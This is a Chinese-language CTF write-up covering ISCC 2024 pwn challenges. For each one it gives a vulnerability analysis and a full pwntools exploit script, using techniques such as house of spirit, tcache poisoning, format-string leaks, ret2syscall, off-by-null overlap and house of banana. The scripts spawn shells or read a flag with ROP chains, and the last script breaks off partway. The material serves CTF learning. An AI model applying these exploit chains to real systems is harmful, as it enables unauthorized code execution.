ISCC 2024 练武题 pwn AK

6 篇文章 0 订阅


题目链接:
百度网盘(提取码yxxx)

🌎前言

最近打了一下ISCC,感觉难度还是比较低的。写一个wp帮助新手理解或者是后人参考吧。其中,chaos和easyshell我觉得实在太容易了,就修改得更难了一些,其他题也可以改,不过没什么时间了,就这样吧。如果有哪个题目没有看懂的话可以评论,我马上就会增加字数讲解,一次会不少于500字
在这里插入图片描述

🌙chaos_plus(house of spirit)

⭐️分析

改动点:
将libc从2.23提升至2.35,删除作者原本提供的后门函数,保护从只开NX变成全开,其余程序不变
在这里插入图片描述
checksec查看。64位,开启RELRO,无法修改got表为system地址。开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行。开启PIE,地址随机化,并且IDA只能查看相对偏移
在这里插入图片描述
IDA查看。有add,delete,show,edit和exit五个功能
在这里插入图片描述
show函数中指针归零,没有UAF漏洞
在这里插入图片描述
edit函数中存在漏洞。如果创建的chunk小于等于0x18,仍然可以修改0x20个字节的大小,造成堆溢出。有很多种方法通关,这里我用house of spirit

⭐️解题

在这里插入图片描述
弄个unsortedbin出来,然后泄露libc地址,下面四个chunk后面要用
在这里插入图片描述
查看接收到的值
在这里插入图片描述
收到之后查看到environ的距离,然后加上即可
在这里插入图片描述
计算一些参数的地址
在这里插入图片描述
libc也是二进制文件。可以使用ROPgadget
在这里插入图片描述
接下来是泄露heap地址
在这里插入图片描述
利用vis命令查看,可以看到是将两个chunk放进了tcache中然后又取了出来。2.34对tcache进行了升级。指向的地址 = (当前地址 >> 12) ^ 当前地址内容

例如,0x56f596b586e0 = (0x56f596b586c0 >> 12) ^ 0x56f0f9ecedb8。其中,0x56f596b586e0是正常tcache管理机制中的真正的fd,代表这个tache在取出后,下一个要取的是哪里。0x56f596b586c0是当前这个fd指针的地址。0x56f0f9ecedb8是当前地址的内容,这个内容是经过系统的逆运算后,得出来的值

由于异或的特性,我们也可以逆运算出堆的地址。事实上如果能够有0x56f0f9ecexxx这个值的话,就可以计算出堆地址了,后面三个xxx是代表不重要,因为堆地址的后三位不会随机。所以有的题目可能会覆盖后两个为00,或者限制了show的次数,这种情况也是可以完成泄露的。公式为:heap = ((temp ^ (((temp & 0xfff000000000) >> 36) * 0x1000000 + (((temp & 0xfff000000) >> 24) ^ ((temp & 0xfff000000000) >> 36)) * 0x1000)) - (temp & 0xfff) + 0x2c0)。后面的+ 0x2c0是加堆的偏移,可以修改。公式为我个人原创,转载请标明出处
在这里插入图片描述
当然这题没有用到这么复杂的算法,这题没有什么限制\x00之类的,直接泄露就好啦,然后在用的时候右移再异或即可
在这里插入图片描述
接下来开始利用漏洞,这里就不细讲house of spirit这个漏洞了,可自行学习。达成的效果是堆块重叠。成功泄露出栈地址
在这里插入图片描述
修改了tcache中已经释放的chunk的fd指针。这里有两个点需要绕过,一个就是上面讲的,需要进行计算,(heap >> 12) ^ (environ - 0x10))。其中,environ - 0x10是目标地址,最后得出来的结果写在fd指针那里,在解析的时候就会还原。-0x10是方便泄露,不然可能会导致environ里的值清零
在这里插入图片描述
再次利用漏洞,往栈上写ROP,由于一次只能写0x18个字节,所以分了两次写,写在main函数的返回地址,在exit的时候就会触发ROP,获取shell。64位需要栈对齐,不要忘记加上一个ret
在这里插入图片描述
可以看到成功返回到ROP流

⭐️exp

from pwn import *

filename = './chaos_plus'

debug = 0
if debug :
    io = remote('182.92.237.102', 10010)
else :
    io = process(filename)
    
elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
	gdb.attach(io)
	
libc = ELF('./libc.so.6')
	
def add(size, content):
	io.sendlineafter('Please Choice:\n', '1')
	io.sendlineafter('Input Size:\n', str(size))
	io.sendafter('Content of Chaos!:\n', content)
	
def delete(index):
	io.sendlineafter('Please Choice:\n', '2')
	io.sendlineafter('Please Input index:\n', str(index))
	
def edit(index, content):
	io.sendlineafter('Please Choice:\n', '3')
	io.sendlineafter('Please Input index:\n', str(index))
	io.sendafter('Change Chaos Content:\n', content)
	
def show(index):
	io.sendlineafter('Please Choice:\n', '4')
	io.sendlineafter('Please Input index:\n', str(index))
    
add(0x410, b'A')
add(0x18, b'A')
add(0x18, b'A')
add(0x18, b'A')
add(0x18, b'A')

delete(0)
add(0x410, b'A' * 8)
show(0)

io.recvuntil(b'A' * 8)
environ = u64(io.recv(6).ljust(8, b'\0')) + 0x7520
success('environ =>> ' + hex(environ))

libcbase = environ - libc.sym['environ']
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__()
rdi = libcbase + 0x2a3e5
ret = libcbase + 0x29139

delete(2)
delete(1)
add(0, '')
add(0, '')
show(2)
heap = u64(io.recvuntil('\n', drop = True).ljust(8, b'\0')) * 0x1000
success('heap ==> ' + hex(heap))

edit(1, p64(0) * 3 + p64(0x41))
delete(2)
add(0x30, b'A')
delete(4)
delete(3)
delete(2)
add(0x30, p64(0) * 3 + p64(0x21) + p64((heap >> 12) ^ (environ - 0x10)))

add(0x18, b'A')
add(0x18, b'A' * 0x10)
show(4)
stack = u64(io.recvuntil('\x0a', drop = True)[-6:].ljust(8, b'\0')) - 0x120
success('stack =>> ' + hex(stack))

add(0x18, b'A')
delete(5)
delete(3)
delete(2)
add(0x30, p64(0) * 3 + p64(0x21) + p64((heap >> 12) ^ (stack - 8)))

add(0x18, b'A')
add(0x18, p64(0) + p64(rdi) + p64(bin_sh))

add(0x18, b'A')
delete(6)
delete(3)
delete(2)
add(0x30, p64(0) * 3 + p64(0x21) + p64((heap >> 12) ^ (stack + 8)))

add(0x18, b'A')
add(0x18, p64(bin_sh) + p64(ret) + p64(sys))

io.sendline('5')

io.interactive()

🌙ISCC_easy(格式化字符串,栈溢出)

⭐️分析

在这里插入图片描述
checksec查看。32位,开启NX,无法将shellcode写入栈上执行
在这里插入图片描述
IDA查看。明显的格式化字符串漏洞,x是bss段上地址,没开pie能直接知道,直接改就行。顺带可以再输出一下libc地址
在这里插入图片描述
这个函数存在栈溢出,ROP一下即可

⭐️解题

在这里插入图片描述
libc可以通过泄露地址的后三位找到,应该是9.15的,不过9.14也差不多,我这里就凑合着用了
在这里插入图片描述

之后栈溢出一下就行了

⭐️exp

from pwn import *

filename = './ISCC_easy'

debug = 0
if debug :
    io = remote('182.92.237.102', 10013)
else:
    io = process(filename)
    
elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
	gdb.attach(io)
	
libc = ELF('libc6-i386_2.31-0ubuntu9.14_amd64.so')

bss = 0x804C030

io.send(b'aaaaa%8$hhn%15$p' + p32(bss))

io.recvuntil('0x')
__libc_start_main = int(io.recv(8), 16) - 245
success('__libc_start_main =>> ' + hex(__libc_start_main))

libcbase = __libc_start_main - libc.sym['__libc_start_main']
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__()

io.send(b'a' * 0x90 + p32(0) + p32(sys) + p32(0) + p32(bin_sh))

io.interactive()

🌙easyshell_plus(栈off by null,格式化字符串)

⭐️分析

改动点:
将作者预留的后门函数删除,libc提升至2.35,限制gets函数输入大小,printf只能用一次,以及一些汇编上的略微改动。
在这里插入图片描述
checksec查看。64位,开启RELRO,无法修改got表为system地址。开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行。开启PIE,地址随机化,并且IDA只能查看相对偏移
在这里插入图片描述
IDA查看。输出界面
在这里插入图片描述
进入主要函数查看。开始是输出我自己写的一行字,然后进入循环。有gets函数,但没有完全gets,限制大小为0x28个字节,刚好覆盖完rbp,不能覆盖到ret。但是由于gets函数的特性,会将接收的字符串最后的’\n’变为’\0’,这样就可以造成溢出。

当然,也可以利用strlen的特性,读取到’\0’结束读取。这样在输入字符串的前面放上\0即可,也可以造成溢出的效果。

但是我这里不考虑后面这种利用strlen特性的,因为我懒得写代码,所以就没有加很强的检测,如果加了一些检测,例如检测前面0x28字节有没有’\0’,还是可以杜绝这种情况的,这里以学习为主,看看gets函数的off by null如何利用

⭐️解题

在这里插入图片描述
上来利用仅有一次的格式化字符串泄露出canary,libc,栈地址
在这里插入图片描述
在这里插入图片描述

随后是利用off by null,将返回地址的后一个字节修改为\x00
在这里插入图片描述
在汇编中,我设置了一下nop,1500这个地址刚好就是主要函数的入口,因此相当于再来一次,而再来一次就可以又一次使用格式化字符串,也可以继续off by null,这样就可以循环修改任意地址
在这里插入图片描述
在这里插入图片描述
我这里选择改main函数的返回地址为ROP,写了一个函数来修改,因为要改6个字节,只能一个字节一个字节地修改,一次修改两个字节的话会很卡,不成功的几率很大。随后就可以exit退出来获取shell了

⭐️exp

from pwn import *

filename = './easyshell_plus'

debug = 0
if debug :
    io = remote('182.92.237.102', 10011)
else:
    io = process(filename)
    
elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
	gdb.attach(io)
	
def fmt(string, offset):
	for i in range(6):
		one = (string >> i * 8) & 0xFF
		io.sendline((b'flagis.' + b'%' + str(one).encode() + b'c' + b'%20$hhn').ljust(0x18, b'a') + p64(canary) + p64(stack + offset + i))
		io.sendline('exit')
		sleep(0.01)

libc = ELF('./libc.so.6')

io.sendline(b'flagis.' + b'%19$p%43$p%20$p')

io.recvuntil('0x')
canary = int(io.recv(16), 16)
success('canary =>> ' + hex(canary))

io.recvuntil('0x')
__libc_start_main = int(io.recv(12), 16) - 128
success('__libc_start_main =>> ' + hex(__libc_start_main))

io.recvuntil('0x')
stack = int(io.recv(12), 16) + 0x8
success('stack =>> ' + hex(stack))

libcbase = __libc_start_main - libc.sym['__libc_start_main']
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__()
rdi = libcbase + 0x2a3e5
ret = libcbase + 0x29139

io.sendline(b'A' * 0x18 + p64(canary) + b'A' * 0x8)
io.sendline('exit')

fmt(rdi, 0)
fmt(bin_sh, 0x8)
fmt(ret, 0x10)
fmt(sys, 0x18)

io.sendline('exit')

io.interactive()

🌙miao(ret2syscall)

⭐️分析

在这里插入图片描述
checksec查看。32位,开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行
在这里插入图片描述
IDA查看。
在这里插入图片描述
miao函数中有两个漏洞,一个gets没法ROP,因为有canary,所以还要泄露一下。
在这里插入图片描述
在第二个函数中就可以ROP了,由于是静态链接所以需要的函数直接在文件里就可以找到

⭐️解题

在这里插入图片描述
利用第一个函数泄露canary
在这里插入图片描述
第二个函数就是标准的ret2syscall

⭐️exp

from pwn import *

filename = './attachment-41'

debug = 0
if debug :
    io = remote('182.92.237.102', 10015)
else:
    io = process(filename)
    
elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
	gdb.attach(io)
	
int_80 = 0x806cf83
eax = 0x80b8666
ebx = 0x80481c9
ecx = 0x80def3d
edx = 0x806f30a
bin_sh = 0x80BB7C8

io.sendline(b'%31$p')
io.recvuntil('0x')
canary = int(io.recv(8), 16)

io.sendline(b'a' * 0x64 + p32(canary) + b'a' * 0x8 + b'a' * 0x4 + p32(eax) + p32(0xb) + p32(ebx) + p32(bin_sh) + p32(ecx) + p32(0) + p32(int_80))

io.interactive()

🌙Flag(格式化字符串,栈溢出)

⭐️分析

在这里插入图片描述
checksec查看。32位,开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行
在这里插入图片描述
IDA查看
在这里插入图片描述
进入主要函数查看。读取了help.txt这个文件放到栈上,通过下面的格式化字符串漏洞可以泄露这个内容,是告诉了你用的什么libc,好让你下载到本地,不过其实没有这个也能知道,通过泄露函数的后三位即可
在这里插入图片描述
然后就是栈溢出,与上一题没有太大的差距

⭐️解题

在这里插入图片描述
确定了libc,然后泄露出canary和libc地址
在这里插入图片描述
随后ROP即可

⭐️exp

from pwn import *

filename = './attachment-12'

debug = 0
if debug :
    io = remote('182.92.237.102', 10012)
else:
    io = process(filename)
    
elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

libc = ELF('./libc6-i386_2.31-0ubuntu9.15_amd64.so')

def dbg():
	gdb.attach(io)
	
io.sendline(b'%19$p%27$p')

io.recvuntil('0x')
canary = int(io.recv(8), 16)
io.recvuntil('0x')
__libc_start_main = int(io.recv(8), 16) - 245

libcbase = __libc_start_main - libc.sym['__libc_start_main']
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__()

io.sendline(b'a' * 0x88 + p32(canary) + b'a' * 0x8 + b'a' * 0x4 + p32(sys) + p32(0) + p32(bin_sh))

io.interactive()

🌙Your_program(栈溢出)

⭐️分析

原题:https://www.bilibili.com/video/BV1854y1y7Ro 22分开始
在这里插入图片描述
checksec查看。什么保护也没开
在这里插入图片描述
IDA查看
在这里插入图片描述
第二个函数有gets函数,存在栈溢出漏洞,直接ROP即可获取shell。这个是ISCC组委会认证的非预期解

⭐️解题

在这里插入图片描述
libc可以通过泄露函数看后三位得知。然后是输出printf的真实地址,以计算libc,最后ret回到开头,再来一遍
在这里插入图片描述
再次ROP即可

⭐️exp

from pwn import *

filename = './attachment-42'

debug = 0
if debug :
    io = remote('182.92.237.102', 10032)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
	gdb.attach(io)
	
libc = ELF('./libc6_2.31-0ubuntu9.15_amd64.so')

printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
rdi = 0x401763
ret = 0x40101a

io.sendlineafter('key: ', b'A' * 0x28 + p64(rdi) + p64(printf_got) + p64(ret) + p64(printf_plt) + p64(0x4014DA))
io.recvuntil('\n')

libcbase = u64(io.recv(6).ljust(8, b'\0')) - libc.sym['printf']
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh\x00').__next__()

io.sendlineafter('key: ', b'A' * 0x28 + p64(rdi) + p64(bin_sh) + p64(ret) + p64(sys))

io.interactive()

🌙ISCC_U(UAF)

⭐️分析

原题:https://www.bilibili.com/video/BV1854y1y7Ro 1小时36分开始
在这里插入图片描述
checksec查看。32位,开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行
在这里插入图片描述
IDA查看。基本操作都有
在这里插入图片描述
先是自动malloc了个0x8大小的chunk,然后手动malloc一个指定size的chunk
第一个自动malloc的chunk的前4个字节指向一个打印函数
在这里插入图片描述
这个函数会将传进来的地址+4,然后打印出那个地址里的地址存放的内容
在这里插入图片描述
如果notelist + v1这个地方有值,那么就执行下面的函数。函数主体note的前4字节,也就是是上面说的那个print函数,参数是note本身,note前4个字节是print函数,后4个字节是一个地址,这个地址指向了自己创建的chunk,因此就会“打印出那个地址里的地址存放的内容”,也就是打印出chunk中的数据
在这里插入图片描述
delete中存在UAF漏洞
漏洞利用:先申请两个大于0x8大小的chunk,释放,然后再申请一个等于0x8大小的chunk,这时候会从tache中拿两个大小为0x8的chunk,自动分配一个,然后后面那个可以往里面写数据,但同时又因为print那个函数的特性,所以可以造成一些攻击,如何攻击的还是看解题部分吧

⭐️解题

在这里插入图片描述
在这里插入图片描述
这是add两次后再删除两次后的堆情况
在这里插入图片描述
等会add一次就会把这两个给拿了,根据tcache后进先出的机制,会先拿下面的,再拿上面那个
在这里插入图片描述
在这里插入图片描述
这里是成功拿到了,并且将上面那个chunk的前4个字节修改为print函数,后4个字节改为puts的got表,打印0的时候,执行chunk的前4个字节print函数,参数是note,但是在print那个函数里会给note+4,所以就是note的后4个字节也就是got表,就可以打印出puts的got表里的值,随后通过puts的真实地址计算出libc地址
在这里插入图片描述
接下来把刚刚拿的那两个chunk释放掉,再来故技重施一次
在这里插入图片描述
将上面那个chunk的前4字节改为system的地址,后面4个字节改为’||sh’,在执行show函数时,调用前4个字节,也就是system,参数是note,也就是’217464f17c7c7368’,其中7c7c7368是’||sh’,由于system函数的特性,会执行前面的217464f1,执行失败后,发现后面有’||',于是继续执行sh,相当于执行了system(‘sh’),成功获取shell权限

再顺带提一嘴,我觉得这个题目难度可以到350分的级别,很多house of的系列都没有这么难,当然这里是指能够用这个思路来做出这题。这题虽然是B站那个视频中堆里面讲的入门题,我一开始也是从这题入门,但是要想真正理解这题,我觉得要学得比较深入,当时初做这题并没有觉得有多巧妙,再次做的时候就明白了

⭐️exp

from pwn import *

filename = './attachment-39'

debug = 0
if debug :
    io = remote('182.92.237.102', 10016)
else:
    io = process(filename)
    
elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

libc = ELF('./libc6-i386_2.31-0ubuntu9.15_amd64.so')

def dbg():
	gdb.attach(io)
	
def add(size, content):
	io.sendlineafter('choice :', '1')
	io.sendlineafter('Note size :', str(size))
	io.sendafter('Content :', content)
	
def delete(index):
	io.sendlineafter('choice :', '2')
	io.sendlineafter('Index :', str(index))
	
def show(index):
	io.sendlineafter('choice :', '3')
	io.sendlineafter('Index :', str(index))

puts_got = elf.got['puts']

add(0x16, 'A')
add(0x16, 'A')
delete(0)
delete(1)
add(0x8, p32(0x80492b6) + p32(puts_got))
show(0)
puts_addr = u32(io.recv(4))
success('puts_addr =>> ' + hex(puts_addr))

libcbase = puts_addr - libc.sym['puts']
sys = libcbase + libc.sym['system'] + 1
success('sys =>> ' + hex(sys))

delete(2)

add(0x8, p32(sys) + b'||sh')

show(0)

io.interactive()

🌙eazy_heap(off by null, 堆栈结合)

⭐️分析

在这里插入图片描述
checksec查看。64位,开启RELRO,无法修改got表为system地址。开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行。开启PIE,地址随机化,并且IDA只能查看相对偏移
在这里插入图片描述
看一眼libc版本,2.35
在这里插入图片描述
IDA查看。基本堆题函数都有
在这里插入图片描述
init里弄了个沙盒,让我们来康康🈲了什么好东西
在这里插入图片描述
只禁了个exe,比较无聊,还是蛮简单的
在这里插入图片描述
查看add函数。这里没有off by null漏洞,因为作者-1了
在这里插入图片描述
在edit的时候没有-1,明显的off by null漏洞,read返回值会大1,因为read是从1开始计数,但是读的时候却是从0这个地址开始读入数据。最后会多在字符串后面添加一个’\x00’。看到off by null就要想到overlapping,并且大概率是没有UAF漏洞的
在这里插入图片描述
是调用write输出,一般这么做是因为在add的时候会固定输入1个字节,然后又会加一个’\x00’,用puts的话遇到’\x00’就泄露不了了,相当于用write输出比puts函数要简单

主函数下面那个exit应该是作者利用IO打要用,不过我不用,我设计题目一般是2.35,禁exit,close,mprotect,open,openat,fstat,execve,限制read和write次数

⭐️解题

在这里插入图片描述
要overlaping最好是能泄露个堆地址。这里先add两个,再free进tcache,再取出来,就有堆地址了,实际上show一个1就够了,按照上面的公式就可以计算,这里展示没有write限制的情况下,比较简单
在这里插入图片描述

这个大小在off by null的时候刚好可以将P这个bit改为0而不改变chunk的size,比较合适。

这里泄露了这两个地址,将这两个异或一下再加上想要的偏移就可以了。只泄露下面那个也可以计算出heap地址,只泄露上面不行

在这里插入图片描述
然后再add两个chunk,后面用,之后add七个,再free掉,填满tcache bin
在这里插入图片描述
在这里插入图片描述
这里一顿edit修改,构造了如图所示的结构,最后达成的流程是:free最下面那个chunk后,下面那个chunk检测P这个bit,发现是0,于是向上合并,那么上一个chunk的大小是多少呢?psize是0x1f0,则指针往上增加0x1f0,来到0x1f1那个大小的chunk那里,接着检测psize是否等于上面那个chunk的size,发现0x1f0 = 0x1f1(最后的那3个bit不算),进行下一步检测,检测该chunk的fd指针指向的那个chunk的bk指针是不是该chunk,fd指针是0x0000619839766290,跳转到那里,发现那里的bk指针是0x00006198397663a0,确实是该chunk,那么检测通过。接着是该chunk的bk指针指向的那个chunk的fd指针是不是该chunk,检查也通过。开始进行合并,从最底下一直合并到0x1f1那里,这里合并的要求是tcache是满的,不然是不会合并的,而是直接进入tcache中
在这里插入图片描述
在这里插入图片描述
这一整块都被视作了unsortedbin,overlaping完成
在这里插入图片描述
在这里插入图片描述

拿个chunk出来,然后可以show一下libc地址。红线是刚刚拿出的chunk,此时其实就可以那个了,不过不是很标准,这里演示标准的
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

再add一次,就可以拿到2指向的那个chunk,此时2 = 4。这里add大小0x150是因为后面ROP需要比较多的字节,0xf8不够用,add两次是因为要绕过2.34tcache检测,tcache要想取出,必须要至少有一个计数,要取两次,那么红线标的值就要为2
在这里插入图片描述
修改一下
在这里插入图片描述
可以看到栈地址
在这里插入图片描述
正常的取出套路,就可以获得栈地址
在这里插入图片描述
接着再故技重施,修改到栈上,我这里修改的是add的返回地址,因为最后修改使用的函数就是add。要注意的是2.34中,tcache取出的地址结尾必须是0,不能是8,而返回地址大概率最后一位是8,所以要-0x8,从rbp开始修改
在这里插入图片描述
可以看到已经修改好了,接下来执行ROP即可orw,我这里是将最后的flag写到了堆上再write出来

⭐️exp

from pwn import *

filename = './CAT_DE'

debug = 0
if debug :
    io = remote('182.92.237.102', 2122)
else:
    io = process(filename)
    
elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
	gdb.attach(io)
	
libc = ELF('./libc.so.6')
	
def add(size, content):
	io.sendlineafter('>> \n', '1')
	io.sendlineafter('size:\n', str(size))
	io.sendafter('content:\n', content)
	
def delete(index):
	io.sendlineafter('>> \n', '2')
	io.sendlineafter('idx:\n', str(index))
	
def show(index):
	io.sendlineafter('>> \n', '3')
	io.sendlineafter('idx:\n', str(index))
	io.recvuntil('context:\n')

def edit(index, content):
	io.sendlineafter('>> \n', '4')
	io.sendlineafter('idx:\n', str(index))
	io.sendafter('content:\n', content)
	
add(0xF8, b'A')
add(0xF8, b'A')
delete(0)
delete(1)
add(0xF8, b'A')
add(0xF8, b'A')
show(0)
one1 = u64(io.recv(8))
show(1)
one2 = u64(io.recv(8))
success(f'one1, one2 =>> {hex(one1)} + {hex(one2)}')

heap = one1 ^ one2 + 0x90
success(f'heap =>> {hex(heap)}')

add(0xF8, b'A')
add(0xF8, b'A')
for i in range(7):
	add(0xF8, b'A')
	
for i in range(7):
	delete(i + 4)
	
edit(0, p64(0) + p64(0x101 + 0xF0) + p64(heap) + p64(heap))
edit(1, p64(heap + 0x110) + p64(heap + 0x110))
edit(2, b'A' * 0xF0 + p64(0x1F0))

delete(3)

add(0xE8, b'A')

show(2)
environ = u64(io.recv(8)) + 0x7520
success(f'environ =>> {hex(environ)}')

libcbase = environ - libc.sym['environ']
libc.address = libcbase
rdi = libcbase + 0x2a3e5
rsi = libcbase + 0x2be51
rdx_r12 = libcbase + 0x11f497

add(0x150, b'A') # 2 = 4
add(0x150, b'A')
delete(5)
delete(4)

edit(2, p64(((heap + 0x200) >> 12) ^ (environ - 0x10)))

add(0x150, b'A')
add(0x150, b'A')
show(5)
io.recv(0x10)
stack = u64(io.recv(8)) - 0x140
success(f'stack =>> {hex(stack)}')

add(0x150, b'A')
delete(6)
delete(4)

edit(2, p64(((heap + 0x200) >> 12) ^ (stack - 0x8)))
add(0x150, b'A')

add(0x150, p64(0) + p64(rdi) + p64(stack + 0xa8) + p64(rsi) + p64(0) + p64(libc.sym['open']) + p64(rdi) + p64(3) + p64(rsi) + p64(heap + 0x10) + p64(rdx_r12) + p64(0x50) + p64(0) + p64(libc.sym['read']) + p64(rdi) + p64(1) + p64(rsi) + p64(heap + 0x10) + p64(rdx_r12) + p64(0x50) + p64(0) + p64(libc.sym['write']) + b'flag\x00\x00\x00\x00')

io.interactive()

🌙heapheap(house of banana)

⭐️分析

原题:ctf.show 元旦水友杯 2024 Heap_Harmony_Festivity
在这里插入图片描述
checksec查看。64位,开启RELRO,无法修改got表为system地址。开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行。开启PIE,地址随机化,并且IDA只能查看相对偏移
在这里插入图片描述
IDA查看。正常堆函数,开了沙箱,让我们来康康🈲了什么好东西
在这里插入图片描述
只禁了个exe,比较无聊,还是蛮简单的
在这里插入图片描述
要求申请的chunk大小在0x400和0x500之间,而且用的还是calloc,calloc绕过一般就是overlaping
在这里插入图片描述
delete函数存在UAF漏洞,其他都是正常的

⭐️解题

在这里插入图片描述

这里也是不讲largebin attack原理,有需要的可以评论区留言。既然只能add大chunk那就用largebin attack,申请一个大的,再申请一个最大的,申请一个小一点的,再申请一个最大的,让0进入largebin,可以show一些东西出来
在这里插入图片描述
继续show一些东西出来,狠狠地薅largebin,接下来走house of banana
在这里插入图片描述
利用largebin将_rtld_global改为可控的堆地址
在这里插入图片描述
伪造link_map
在这里插入图片描述
在这里插入图片描述
这里给一下link_map的结构图,蓝绿色部分为需要修改的地方。第一张图是link_map的完整结构,稍微标明了一下需要修改哪里,第二张图是教你有orw时如何伪造。如果没有orw的话,将*ret改为one_gadget即可。图片为个人原创,转载请说明出处
在这里插入图片描述
除发一下exit函数,然后orw即可

⭐️exp

from pwn import *

filename = './heapheap'

debug = 0
if debug :
    io = remote('182.92.237.102', 11000)
else:
    io = process(filename)
    
elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

libc = ELF('./libc-2.31.so')

def dbg():
	gdb.attach(io)
	
def add(index, size):
	io.sendlineafter('choice:\n', '1')
	io.sendlineafter('index:\n', str(index))
	io.sendlineafter('Size:\n', str(size))

def show(index):
	io.sendlineafter('choice:\n', '2')
	io.sendlineafter('index:\n', str(index))
	io.recvuntil('context: \n')
	
def edit(index, content):
	io.sendlineafter('choice:\n', '3')
	io.sendlineafter('index:\n', str(index))
	io.sendafter('context: \n', content)
	
def delete(index):
	io.sendlineafter('choice:\n', '4')
	io.sendlineafter('index:\n', str(index))

add(0, 0x428)
add(1, 0x500)
add(2, 0x418)

delete(0)
add(3, 0x500)

show(0)
large_430 = u64(io.recv(6).ljust(8, b'\x00'))
libcbase = large_430 - 0x430 - 0x30 - libc.sym['__malloc_hook']
libc.address = libcbase
pop_rdi = libcbase + 0x23b6a
pop_rsi = libcbase + 0x2601f
pop_rdx = libcbase + 0x119431
ret = libcbase + 0x22679
success('libcbase =>> ' + hex(libcbase))

edit(0, b'A' * 0x10)
show(0)
io.recv(0x10)
heap = u64(io.recv(6).ljust(8, b'\x00'))
success('heap =>> ' + hex(heap))

ld_remote_off = 0x6000
_rtld_global = libcbase + 0x228060 - ld_remote_off
success('_rtld_global =>> ' + hex(_rtld_global))

delete(2)
edit(0, p64(large_430) + p64(large_430) + p64(heap) + p64(_rtld_global - 0x20))
add(4, 0x500)

setcontext = libc.sym['setcontext'] + 0x3d

link_map = p64(0)
link_map += p64(_rtld_global + 0x16e0)
link_map += p64(0)
link_map += p64(heap + 0x940)
link_map += p64(0) * 28 
link_map += p64(heap + 0xa50)
link_map += p64(heap + 0xa50)
link_map += p64(heap + 0xa60)
link_map += p64(0x40)
link_map += b'flag\x00\x00\x00\x00'
link_map += p64(heap + 0x940)
link_map += p64(setcontext)
link_map += p64(ret)
link_map += p64(0) * 12
link_map += p64(0)
link_map += p64(heap + 0x940)
link_map += p64(0) * 2
link_map += p64(0x100)
link_map += p64(0) * 2
link_map += p64(heap + 0x940)
link_map += p64(libc.sym['read'])
link_map += p64(0) * 36
link_map += p64(0xb00000000)

edit(2, link_map)

io.sendlineafter('choice:\n', '5')

io.send(p64(pop_rdi) + p64(heap + 0xa70) + p64(pop_rsi) + p64(0) + p64(libc.sym['open']) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x50) + p64(0) + p64(libc.sym['read']) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x50) + p64(0) + p64(libc.sym['write']))

io.interactive()

🌙shopping(多线程堆,堆溢出)

⭐️分析

原题:n1ctf2018_null
在这里插入图片描述
checksec查看。64位,开启RELRO,无法修改got表为system地址。开启canary,很难栈溢出。开启NX,无法将shellcode写入栈上执行。开启PIE,地址随机化,并且IDA只能查看相对偏移
在这里插入图片描述
IDA查看。输入一下正确的字符串,然后创建一个线程
在这里插入图片描述
菜单只有add和exit,还是很特殊的一道题目,下面给了个system,等会可以调用
在这里插入图片描述
漏洞出现在rread函数中,采用的是分布读入,如果size是0x20,那么可以先读入0x18,然后会判断没有读完,继续可以读入0x20,就造成了堆溢出

⭐️解题

按照一般的道理来说,可以修改top chunk的大小,然后打house of orange,但是一切操作是在子线程中进行的。house of orange原理是top chunk不够,从而调用brk来分配,进而让top chunk进入unsortedbin,子线程的堆空间全部是由mmap分配,当top chunk不够时,也是用mmap来分配,因此不会让top chunk进入unsortedbin,house of orange失效
在这里插入图片描述
在这里插入图片描述
在子线程中,可以先看一下创建子线程后的堆情况,thread_arena在子线程中,是处于堆的起始地址,add堆会往下分配,但是有一个限制,就是到栈上面0x1000个字节为止,因为堆不能覆盖掉栈。题目中给了add大堆的操作,可以一次add很大的堆,并且add很多次,因此可以将堆到栈的那块区域填满,填满了之后如果还要再申请堆的话,应该怎么办呢?这时候下面已经没有位置了,毕竟也不能在栈下面开辟一块空间,因为下面的栈连着的是libc,因此glibc考虑在上面开辟一块空间
在这里插入图片描述
在这里插入图片描述
分配了一大片空间,可以看到只有0x3000的空间来分配了,如果分配超过0x3000的空间,就会触发申请空间的操作
在这里插入图片描述
在这里插入图片描述
可以看到已经成功分配了一块空间,这块空间在堆地址的上方,然后这块空间是从下往上分配的(以图来看),刚刚分配了一个0x4000大小的chunk,那么就是从临近下方那个堆开始向上分配,然后就可以通过堆溢出,修改掉堆头部的thread_arena,修改thread_arena中的fastbin,就可以造成fastbin attack
在这里插入图片描述

这里利用了一下堆溢出漏洞,修改了thread_arena,随后程序有个函数qword_602038(v6, v4);,函数本身是system,第一个参数v6指针指向malloc的数据第一个字节,写的是‘/bin/sh’,就可以执行system(‘/bin/sh’),还是很巧妙的

⭐️exp

from pwn import *

filename = './attachment-11'

debug = 0
if debug :
    io = remote('182.92.237.102', 10019)
else:
    io = process(filename)
    
elf = ELF(filename)

